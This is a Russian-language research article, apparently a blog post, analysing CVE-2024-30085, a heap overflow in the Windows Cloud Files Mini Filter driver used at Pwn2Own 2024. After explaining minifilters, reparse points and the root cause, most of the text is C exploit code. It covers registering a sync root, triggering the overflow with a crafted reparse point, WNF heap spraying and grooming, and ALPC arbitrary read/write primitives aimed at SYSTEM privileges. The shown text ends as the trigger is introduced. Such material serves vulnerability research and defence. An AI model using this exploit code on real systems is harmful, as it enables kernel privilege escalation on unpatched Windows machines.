
CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.
Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.
Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.
В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.
Оглавление
Минифильтры
cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.

Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.
Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:
Минифильтры, устанавливаемые антивирусным ПО (сканируют и проверяют файлы).
Минифильтры, устанавливаемые криптографическими средствами (шифруют/дешифруют файлы).
Минифильтры облачных хранилищ.
Узнать, какие минифильтры есть в системе, можно через команду fltmc.

Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.
На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.

Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.
Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на примере минифильтра miniSpy:
CONST FLT_OPERATION_REGISTRATION Callbacks[] = { { IRP_MJ_CREATE, 0, SpyPreOperationCallback, SpyPostOperationCallback }, …
Если встретите код минифильтра, колбэки нужно искать в этом массиве.

И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.
Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.
Windows Cloud Files Mini Filter
В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.
Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.
Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.
Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).
В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.
Вот так выглядит этот буфер для символьной ссылки.

А Windows Cloud Files Mini Filter использует его для представления файлов, хран��мых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.

Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.
Root Cause Analysis
Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.

В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:
typedef struct _ITEM { WORD Code; WORD Size; DWORD Offset; } ITEM; typedef struct _REPARSE_CLD_BITMAP { DWORD Tag; DWORD Crc32; DWORD Size; WORD Flags; WORD NumBtmpItems; ITEM Items[0x5]; BYTE ItemBtmpData0; BYTE ItemBtmpData1; BYTE ItemBtmpData2; UINT64 ItemBtmpData3; BYTE ItemBtmpData4[0x1000]; } REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP; typedef struct _REPARSE_CLD_BUFFER { DWORD Tag_pRef; DWORD Crc32; DWORD Size; WORD Reserved; WORD NumCldItems; ITEM Items[0xA]; BYTE ItemData0; DWORD ItemData1; UINT64 ItemData2; UINT64 ItemData3; REPARSE_CLD_BITMAP bitmap0; REPARSE_CLD_BITMAP bitmap1; REPARSE_CLD_BITMAP bitmap2; UINT64 ItemData7; UINT64 ItemData8; DWORD ItemData9; } REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER; typedef struct _REPARSE_DATA_BUFFER { DWORD ReparseTag; WORD ReparseDataLength; WORD Reserved; WORD Flags; WORD UncompressedSize; REPARSE_CLD_BUFFER ReparseCldBuffer; } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
Как видно, у Reparse Point есть поля ReparseCldBuffer.bitmap{1,2,3}, которые, в свою очередь, имеют поле ItemBtmpData4 размером 0x1000 байт. Для чего именно нужны эти битмапы, неизвестно, но для целей эксплуатации это и не требуется.
И оказалось, что, манипулируя остальными полями, можно добиться переполнения блока памяти, который выделялся под ItemBtmpData4 у любого из ReparseCldBuffer.bitmap{1,2,3}. Рассмотрим подробнее.
Аллокация 0x1000 байт и копирование ItemBtmpData4 в эту память происходят в функции HsmIBitmapNORMALOpen:

Проверка переменной bitmap_size происходит в функции HsmpBitmapIsReparseBufferSupported, и она возвращает ошибку, если размер больше чем 0x1000.

Однако в той же функции еще до проверки bitmap_size проверялось поле bitmap->ItemBtmpData2. Если оно было нулевым, то функция пропускала последующие проверки и данные оказывались валидными.


Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.
Эксплуатация
Подготовка
По умолчанию на свежей системе минифильтр Windows Cloud Files Mini Filter (CldFlt) отключен. Чтобы включить его и настроить на нужную папку, нужно воспользоваться Cloud API, а именно функцией CfRegisterSyncRoot.
#include <cfapi.h> BOOL RegisterSyncRoot(LPCWSTR dir) { CF_SYNC_REGISTRATION reg = { 0 }; reg.StructSize = sizeof(reg); reg.ProviderName = L"test"; reg.ProviderVersion = L"1.0"; reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } }; CF_SYNC_POLICIES policies = { 0 }; policies.StructSize = sizeof(policies); policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; policies.InSync = CF_INSYNC_POLICY_NONE; policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; NTSTATUS ntRet = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); if (!NT_SUCCESS(ntRet)) { printf("[-] CfRegisterSyncRoot failed\n"); return false; } return true; }
Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.
Чтобы убедиться, что CldFlt включился, можно воспользоваться командой fltmc instances.

Далее необходимо установить для папки Reparse Point, тогда он попадет в HsmFltPostCREATE, где будет обработан и вызовет переполнение. Установить можно так:
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) { ULONG returned; BOOL status; HANDLE hOverwrite; hOverwrite = CreateFileW( dir, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (FAILED(hOverwrite)) { printf("[-] trigger failed: CreateFileW\n"); } status = DeviceIoControl( hOverwrite, FSCTL_SET_REPARSE_POINT, data, dataLength, NULL, 0, &returned, NULL ); if (!status) { printf("[-] trigger failed: DeviceIoControl\n"); } CloseHandle(hOverwrite); return; }
Здесь data — это содержимое Reparse Point, dataLength — размер данных.
Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.
Craft Reparse Point
Выше приводилась структура Reparse Point, но так она должна выглядеть для нормального использования. Добавим в нее поле для данных, которые будут переполнять память. Точнее, править будем тип REPARSE_CLD_BITMAP, остальная структура останется прежней:
typedef struct _WNF_DATA { UINT32 header; UINT32 allocated_size; UINT32 data_size; UINT32 change_stamp; } WNF_DATA, * PWNF_DATA; typedef struct _REPARSE_CLD_BITMAP { DWORD Tag; DWORD Crc32; DWORD Size; WORD Flags; WORD NumBtmpItems; ITEM Items[0x5]; BYTE ItemBtmpData0; BYTE ItemBtmpData1; BYTE ItemBtmpData2; UINT64 ItemBtmpData3; BYTE ItemBtmpData4[0x1000]; WNF_DATA wnfData; } REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
То есть здесь добавилось поле wnfData размером 0x10 байт.
Дело в том, что благодаря переполнению мы получаем возможность залезть в соседний c ItemBtmpData4 блок памяти. И поэтому необходимо разместить там какие-нибудь интер��сные объекты, переписав свойства которых мы получим примитивы на чтение и запись.
Критерии выбора объектов такие:
Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.
Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.
Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.
Наш эксплойт использует WNF и ALPC подсистемы.
У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.
Разберем по отдельности, что такое WNF и ALPC.
WNF (Windows Notification Facility)
WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.
В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.
Больше подробностей на разных ресурсах
Типы есть �� этом репозитории, или их можно нагуглить через запрос 0x41C64E6DA3BC0074.
Создание объектов произвольного размера
std::map<UINT32, ULONG64> g_wnfNames; UINT32 g_wnfNamesIt = 0; BOOL WnfCreateChunk() { ULONG64 ns; WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName; WNF_DATA_SCOPE DataScope = WnfDataScopeMachine; SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR)); memset(sd, 0, sizeof(SECURITY_DESCRIPTOR)); sd->Revision = 0x1; sd->Sbz1 = 0; sd->Control = 0x000000800c; sd->Owner = NULL; sd->Group = (PSID)0; sd->Sacl = (PACL)0; sd->Dacl = (PACL)0; UINT32 wnfHeaderSize = 0x10; UINT32 wnfChunkSize = 0x1000; UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize; std::vector<UINT8> buf; buf.reserve(wnfDataSize); INT32 r1 = 0, r2 = 0; r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd); r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0); g_wnfNames[g_wnfNamesIt++] = ns; if (r1 != 0 || r2 != 0) { printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2); return false; } return true; }
Эта функция создает объект WNF_NAME_INSTANCE в ядре, ядро выдает идентификатор ns, который сохраняется в глобальном массиве g_wnfNames.
Сам объект WNF_NAME_INSTANCE имеет размер всего 0xa8, но у него есть поле WNF_STATE_DATA, у которого размер произволен и в нашем конкретном случае равен 0x1000. 0x10 байт составляют служебные поля, остальные 0xff0 — данные.

Относительные примитивы
Самые интересные поля — это AllocatedSize и DataSize.
Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.
Так как блоки памяти выделяются по случайным адресам, то, чтобы битмап встал рядом с WNF_STATE_DATA и переполнил его, понадобится очень много объектов WNF_NAME_INSTANCE. Какой-то из них будет захвачен с большой долей вероятности. Поэтому в коде присутствует массив g_wnfNames.
А ограниченные примитивы на чтение и запись выглядят так:
BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) { WNF_CHANGE_STAMP stamp = 0; INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz); return r == 0; } BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) { INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0); return r == 0; }
Здесь wnfCorrupted — это индекс объекта WNF_NAME_INSTANCE с переполненным полем WNF_STATE_DATA.
Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:
INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) { WNF_CHANGE_STAMP stamp = 0; ULONG legitBufSize = 0xff0; ULONG delta = 0x1; ULONG overflowenBufSize = legitBufSize + delta; UINT32 status = 0; std::vector<UINT8> buf; buf.reserve(overflowenBufSize); for (UINT32 i = 0; i < wnfNamesCount; i++) { if (!wnfNames[i]) { continue; } status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize); overflowenBufSize = legitBufSize + delta; if (status == BUFFER_TOO_SMALL) { return i; } } return -1; }
NtQueryWnfStateData возвращает данные из массива WNF_STATE_DATA.Data в буфер buf. Внутри ядра эту работу выполняет функция ExpWnfReadStateData. Если передать в NtQueryWnfStateData массив, размер которого меньше, чем WNF_STATE_DATA.Data, то сработает защита от переполнения.

На этой особенности и строится детект: объект WNF_NAME_INSTANCE, который не сможет записать данные из WNF_STATE_DATA.Data в большой буфер, — искомый.
Весь объект WNF_STATE_DATA занимает 0x1000 байт, 0x10 — это заголовок, размер данных — 0xff0. Значит, данные должны уместиться в любой буфер, размер которого >= 0xff0. Единственная причина, почему места может не хватить, — это объект WNF_STATE_DATA с DataSize > 0xff0. А такое поле есть только у искомого объекта.
В результате переполнения в WNF_STATE_DATA.DataSize будет 0xff0 + 0x10, потому что этого будет достаточно, чтобы добраться до ALPC, но об этом позже.
Удаление объектов
Удаляются объекты через функцию _NtDeleteWnfStateData:
BOOL WnfDeleteChunk(UINT32 wnfNameIndex) { ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL); if (r != 0) { printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex); return false; } wnfNames[wnfNameIndex] = 0x0; return true; }
Таким образом, через WNF можно:
Создавать в ядерной памяти объекты
WNF_STATE_DATAпроизвольного размера.Читать/писать до 0x1000 байт за пределами массива
WNF_STATE_DATA.Data.Удобно удалять объекты.
Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.
ALPC (Asynchronous Local Procedure Call)
ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.
Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.
Подробный разбор про сам ALPC есть, например, здесь:
https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.
Создание объектов произвольного размера
Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.

У серверного порта внутри есть таблица для входящих и исходящих сообщений.

На рисунке — тип ALPC_HANDLE_ENTRY, таблица хэндлов для сообщений. Она может быть произвольного размера, что поможет создавать блоки размером 0x1000 байт.
Каждый хэндл хранит адрес буфера, в который ядро пишет и из которого читает сообщения для сервера. Обе операции дергаются через метод NtAlpcSendWaitReceivePort. Подменив какой-либо хэндл на свой, мы получим возможность читать и писать в буфер этого хэндла.
И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно.
Получается, что нужно создать фейковый объект типа _KALPC_RESERVE и через цепочку переполнений прописать его адрес в таблице _ALPC_HANDLE_ENTRY по индексу 0, например. Попробуем это сделать.
Серверный порт создается так:
BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) { ALPC_PORT_ATTRIBUTES serverPortAttr; OBJECT_ATTRIBUTES oaPort; HANDLE hPort; NTSTATUS ntRet; UNICODE_STRING usPortName; WCHAR wszPortName[64]; swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex); RtlInitUnicodeString(&usPortName, wszPortName); InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0); RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr)); serverPortAttr.MaxMessageLength = MAX_MSG_LEN; ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr); if (!NT_SUCCESS(ntRet)) return FALSE; return TRUE; }
Эта функция определяет имя порта и вызывает метод NtAlpcCreatePort, который возвращает идентификатор и сохраняет его в массиве, так как портов будет много. Причина такая же, как и в случае с WNF, — борьба с рандомизацией адресов.
Клиенты теперь могут отправлять сообщения по адресу wszPortName. На самом деле, для нас это неважно, так как клиентов не будет. Но через CVE-2024-30085 и WNF мы заставим ALPC считать, что по произвольному адресу в ядерной памяти лежит сообщение для сервера, и попросим или выдать информацию оттуда, или записать туда нашу.
Таблица _ALPC_HANDLE_ENTRY должна быть размером 0x1000 байт, и вот как заставить ядро создать ее:
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) { HANDLE hPort; HANDLE hResource; NTSTATUS ntRet; hPort = phPorts[portIndex]; for (UINT j = 0; j < reservesCount; j++) { ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource); if (!NT_SUCCESS(ntRet)) { printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet); return FALSE; } if (g_hResource == NULL) { // save only the very first g_hResource = hResource; } } return TRUE; } BOOL AlpcCreateChunk(UINT32 port_index) { BOOL bRet; bRet = CreateALPCPort(gports, port_index); if (!bRet) { printf("[-] CreateALPCPorts failed\n"); return false; } CONST ULONG poolAlHaSize = 0x1000; CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1; bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount); if (!bRet) { printf("[-] AllocateALPCReserveHandle failed\n"); return false; } return true; }
Таблица удваивается каждый раз, когда заканчивается место, поэтому нужно зарезервировать (0x1000 / 2 /sizeof(ULONG_PTR)) + 1 хэндлов.
Полноценный примитив на запись
Предположим, что мы создали множество портов и контролируем нулевой хэндл нулевого порта в _ALPC_HANDLE_ENTRY.
Тогда примитив на запись будет выглядеть так:
KALPC_RESERVE* gfakeKalpcReserve; KALPC_MESSAGE* gfakeKalpcMessage; BYTE* gfakeKalpcReserveObject; BYTE* gfakeKalpcMessageObject; BYTE* AlpcGetFakeMessage() { return (BYTE*)gfakeKalpcReserve; } void AlpcMakeFakeMessage() { gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20); gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20); gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20); gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20); gfakeKalpcReserveObject[1] = 0x7; gfakeKalpcReserveObject[8] = 0x1; gfakeKalpcMessageObject[8] = 0x1; gfakeKalpcReserve->Size = 0x28; gfakeKalpcReserve->Message = gfakeKalpcMessage; gfakeKalpcMessage->Reserve = gfakeKalpcReserve; galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE)); } BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) { NTSTATUS ntRet; memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20); memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20); gfakeKalpcReserveObject[1] = 0x7; gfakeKalpcReserveObject[8] = 0x1; gfakeKalpcMessageObject[8] = 0x1; gfakeKalpcReserve->Size = 0x28; gfakeKalpcReserve->Message = gfakeKalpcMessage; gfakeKalpcMessage->Reserve = gfakeKalpcReserve; gfakeKalpcMessage->ExtensionBuffer = addr; gfakeKalpcMessage->ExtensionBufferSize = bufSz; ULONG DataLength = bufSz; memset(galpcMessage, 0, sizeof(ALPC_MESSAGE)); galpcMessage->PortHeader.u1.s1.DataLength = DataLength; galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength; galpcMessage->PortHeader.MessageId = (ULONG)g_hResource; ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE)); memcpy(pAlpcMsgData, buf, bufSz); for (int i = 0; i < portsCount; i++) { ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL); } return true; }
Отправка сообщения идет через метод NtAlpcSendWaitReceivePort в цикле по всем портам. Дело в том, что мы заранее не будем знать, какой порт захватили, знаем только, что он где-то там. Поэтому производится массированное обращение по всем портам.
Полноценный примитив на чтение
Вызов NtAlpcSendWaitReceivePort на чтение — блокирующий, и непонятно, как сообщить ядру, что данные готовы к отправке. Поэтому этот примитив работает по-другому — через примитив на запись и пайп:
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) { BOOL bRet; CHAR pipeName[] = "xxx"; UINT32 pipeValueOffset = 0x20; ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset; ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8); payload[0] = addr; payload[1] = 0x00787878; //xxx\x00 if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) { printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n"); //return false; } bRet = PipeReadAttr(pipeName, buf, bufSz); if (!bRet) { printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n"); return false; } return true; }
Схема такая:
Создается пайп с атрибутом.
Адрес значения атрибута подменяется на свой адрес.
Читая атрибут, в ответ получаем содержание адреса.
А выяснить, по какому адресу лежит пайп, можно через утечку.
ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.

LPE
Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:
Размещаем наборы из двух объектов
WNF_STATE_DATAи одногоALPC_HANDLE_ENTRYпримерно 5000 раз.Удаляем каждый первый
WNF_STATE_DATAв наборе.Размещаем битмап, который должен будет встать на одно из освободившихся мест.
Таким образом, все объекты с большой долей вероятности будут расположены рядом.

В результате через переполнение в обработке битмапа мы получаем контроль над _WNF_STATE_DATA, который позволяет переполнить лежащий за ним объект _ALPC_HANDLE_ENTRY.
В коде это выглядит так:
UINT32 portsCount = 5000; UINT32 I; for (i = 0; i < portsCount; i++) { if (!WnfCreateChunk()) break; if (!WnfCreateChunk()) break; if (!AlpcCreateChunk(i)) break; } printf("[*] Created %d chunks\n", i); if (i != portsCount) { printf("[-] Creating chunks are failed\n"); return -1; } // create holes for (UINT32 i = 4000; i < portsCount; i += 2) { if (!WnfDeleteChunk(i)) { return -1; } }
Правильно заполненный Reparse Point выглядит так:
void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) { pReparseDataBuffer->ReparseTag = 0x9000301a; pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD); pReparseDataBuffer->Reserved = 0x00; pReparseDataBuffer->Flags = 0x1; pReparseDataBuffer->UncompressedSize = 0xAA; // no matter PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer; pReparseCldBuffer->Tag_pRef = 0x70526546; pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD); pReparseCldBuffer->Reserved = 0x2; pReparseCldBuffer->NumCldItems = 0xa; pReparseCldBuffer->Items[0].Code = 0x7; pReparseCldBuffer->Items[0].Size = 0x1; pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef; pReparseCldBuffer->Items[1].Code = 0xa; pReparseCldBuffer->Items[1].Size = 0x4; pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size; pReparseCldBuffer->Items[2].Code = 0x6; pReparseCldBuffer->Items[2].Size = 0x8; pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size; pReparseCldBuffer->Items[3].Code = 0x11; pReparseCldBuffer->Items[3].Size = 0x8; pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size; pReparseCldBuffer->Items[4].Code = 0x11; pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP); pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size; pReparseCldBuffer->Items[5].Code = 0x11-1; pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP); pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size; pReparseCldBuffer->Items[6].Code = 0x11-1; pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP); pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size; pReparseCldBuffer->Items[7].Code = 0x6; pReparseCldBuffer->Items[7].Size = 0x8; pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size; pReparseCldBuffer->Items[8].Code = 0x6; pReparseCldBuffer->Items[8].Size = 0x8; pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size; pReparseCldBuffer->Items[9].Code = 0xa; pReparseCldBuffer->Items[9].Size = 0x4; pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size; pReparseCldBuffer->ItemData0 = 0x0; // <=1 pReparseCldBuffer->ItemData1 = 0xffffffe5; pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter pReparseCldBuffer->ItemData9 = 0x33333333; // no matter } void createBitmap(PREPARSE_CLD_BITMAP bitmap) { bitmap->Tag = 0x70527442; bitmap->Size = sizeof(REPARSE_CLD_BITMAP); bitmap->Flags = 0x2; bitmap->NumBtmpItems = 0x5; bitmap->Items[0].Code = 0x7; bitmap->Items[0].Size = 0x1; bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag; bitmap->Items[1].Code = 0x7; bitmap->Items[1].Size = 0x1; bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size; bitmap->Items[2].Code = 0x7; bitmap->Items[2].Size = 0x1; bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size; bitmap->Items[3].Code = 0x6; bitmap->Items[3].Size = 0x8; bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size; bitmap->Items[4].Code = 0x11; bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size; bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset; bitmap->ItemBtmpData0 = 0x1; // <= 1 bitmap->ItemBtmpData1 = 0x13; // <= 0x13 bitmap->ItemBtmpData2 = 0x0; // = 0 bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter bitmap->wnfData.header = 0x00100904; bitmap->wnfData.allocated_size = 0x2000; bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow bitmap->wnfData.change_stamp = 0x1; bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8); } DWORD ReparseDataBufferLength = 0x4000; PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1); memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength); createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength); PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer; PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0; createBitmap(bitmap0); pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);
Триггерим переполнение:
